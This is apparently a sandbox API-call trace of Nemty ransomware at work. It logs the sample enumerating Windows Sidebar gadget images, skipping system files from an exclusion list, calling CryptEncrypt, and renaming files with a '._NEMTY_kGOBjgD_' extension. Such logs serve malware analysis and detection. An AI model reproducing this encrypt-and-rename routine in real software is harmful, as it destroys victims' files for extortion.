[0148.445] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340198, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.445] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0148.445] CloseHandle (hObject=0xffffffff) returned 0 [0148.445] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0148.445] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0148.445] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0148.445] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0148.445] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0148.445] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0148.445] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403b0 [0148.445] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340468 [0148.445] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0148.445] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0148.445] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\pause_rest.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\pause_rest.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\pause_rest.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\pause_rest.png._nemty_kgobjgd_")) returned 0 [0148.445] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340468 | out: hHeap=0x4f90000) returned 1 [0148.445] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0148.445] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0148.445] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0148.445] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0148.445] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0148.446] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0148.446] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0148.446] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85bb5f96, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85bb5f96, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3da359e9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xbf2, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="play_down.png", cAlternateFileName="")) returned 1 [0148.446] lstrcmpiW (lpString1="play_down.png", lpString2=".") returned 1 [0148.446] lstrcmpiW (lpString1="play_down.png", lpString2="..") returned 1 [0148.446] lstrcmpiW (lpString1="play_down.png", lpString2="...") returned 1 [0148.446] lstrcmpiW (lpString1="play_down.png", lpString2="windows") returned -1 [0148.446] lstrcmpiW (lpString1="play_down.png", lpString2="$RECYCLE.BIN") returned 1 [0148.446] lstrcmpiW (lpString1="play_down.png", lpString2="rsa") returned -1 [0148.446] lstrcmpiW (lpString1="play_down.png", lpString2="NTDETECT.COM") returned 1 [0148.446] lstrcmpiW (lpString1="play_down.png", lpString2="ntldr") returned 1 [0148.446] lstrcmpiW (lpString1="play_down.png", lpString2="MSDOS.SYS") returned 1 [0148.446] lstrcmpiW (lpString1="play_down.png", lpString2="IO.SYS") returned 1 [0148.446] lstrcmpiW (lpString1="play_down.png", lpString2="boot.ini") returned 1 [0148.446] lstrcmpiW (lpString1="play_down.png", lpString2="boot.ini") returned 1 [0148.446] lstrcmpiW (lpString1="play_down.png", lpString2="AUTOEXEC.BAT") returned 1 [0148.446] lstrcmpiW (lpString1="play_down.png", lpString2="ntuser.dat") returned 1 [0148.446] lstrcmpiW (lpString1="play_down.png", lpString2="desktop.ini") returned 1 [0148.446] lstrcmpiW (lpString1="play_down.png", lpString2="CONFIG.SYS") returned 1 [0148.446] lstrcmpiW (lpString1="play_down.png", lpString2="RECYCLER") returned -1 [0148.446] lstrcmpiW (lpString1="play_down.png", lpString2="BOOTSECT.BAK") returned 1 [0148.446] lstrcmpiW (lpString1="play_down.png", lpString2="bootmgr") returned 1 [0148.446] lstrcmpiW (lpString1="play_down.png", lpString2="programdata") returned -1 [0148.446] lstrcmpiW (lpString1="play_down.png", lpString2="appdata") returned 1 [0148.446] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0148.446] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="play_down.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0148.446] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="play_down.png", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="play_down.png", lpUsedDefaultChar=0x0) returned 13 [0148.446] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0148.446] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="play_down.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0148.446] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="play_down.png", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="play_down.png", lpUsedDefaultChar=0x0) returned 13 [0148.446] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0148.446] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0148.446] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0148.446] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="play_down.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0148.446] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="play_down.png", cchWideChar=13, lpMultiByteStr=0x653ec20, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="play_down.png", lpUsedDefaultChar=0x0) returned 13 [0148.447] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0148.447] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0148.447] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="play_down.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0148.447] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="play_down.png", cchWideChar=13, lpMultiByteStr=0x653ec58, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="play_down.png", lpUsedDefaultChar=0x0) returned 13 [0148.447] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0148.447] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0148.447] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0148.447] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0148.447] Sleep (dwMilliseconds=0x5) [0148.447] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xc20e130, dwHighDateTime=0x1d561e8)) [0148.447] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xc20e130, dwHighDateTime=0x1d561e8)) [0148.447] GetLastError () returned 0x5 [0148.447] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0148.447] GetLastError () returned 0x5 [0148.447] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0148.447] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0148.447] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0148.448] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0148.448] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0148.448] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0148.448] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340198 [0148.448] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340198, pcchString=0x653e91c | out: pszString="aHPlFsV5WRNjG76H6DtS1zhiEU1xQiudPq1Fhff6ZgnKxEs+zT/qGsZtrEftO7bQ\r\njm7lZF7YRG4OLWu3xyH6kh5kZ/O3zq4DkhDnEsjUDXi5oSwBsGKSFAZT9EnpbYoQ\r\nTyTAQc6Wgc9Mzrwr0bxG47nPTft/DrpoKdSdN42A+ukb/MBdEtxzDOVOp5hhrE26\r\nIouePg/61pfVyUj6SCX0z3Nv5CApkOD0IRiyU/7b185fdBhuia6NabqlNvIJlxYX\r\nLWoycb9jpnTCB6MEGobNUXKiwV9qjb1qDMDgzqgs6uciEdMIb7XKwzhQG8JPbcVd\r\nPpBmr5ULfFz5RGSrBaStCg==\r\n", pcchString=0x653e91c) returned 1 [0148.448] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0148.448] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0148.448] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0148.448] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0148.448] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340198 [0148.448] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0148.448] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\play_down.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\play_down.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0148.448] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0148.448] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0148.448] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.448] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.458] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.458] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.458] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.458] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.467] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.467] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.467] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.467] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.476] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.476] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.476] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.476] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.486] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.486] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.486] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.486] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.495] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.495] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.495] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.495] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.504] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.504] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.504] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.504] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.513] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.514] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.514] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.514] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.523] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.523] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.523] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.523] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.532] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.532] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.532] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.532] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.541] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.541] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.541] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.541] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.547] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.547] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.547] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.547] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.553] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.553] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.553] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.553] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340198, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.553] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0148.553] CloseHandle (hObject=0xffffffff) returned 0 [0148.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0148.553] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0148.554] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0148.554] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0148.554] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0148.554] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0148.554] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403b0 [0148.554] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340458 [0148.554] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0148.554] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0148.554] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\play_down.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\play_down.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\play_down.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\play_down.png._nemty_kgobjgd_")) returned 0 [0148.554] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0148.554] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0148.554] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0148.554] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0148.554] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0148.554] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0148.554] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0148.554] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0148.554] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85bb5f96, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85bb5f96, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3da81ca5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xbf6, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="play_hov.png", cAlternateFileName="")) returned 1 [0148.554] lstrcmpiW 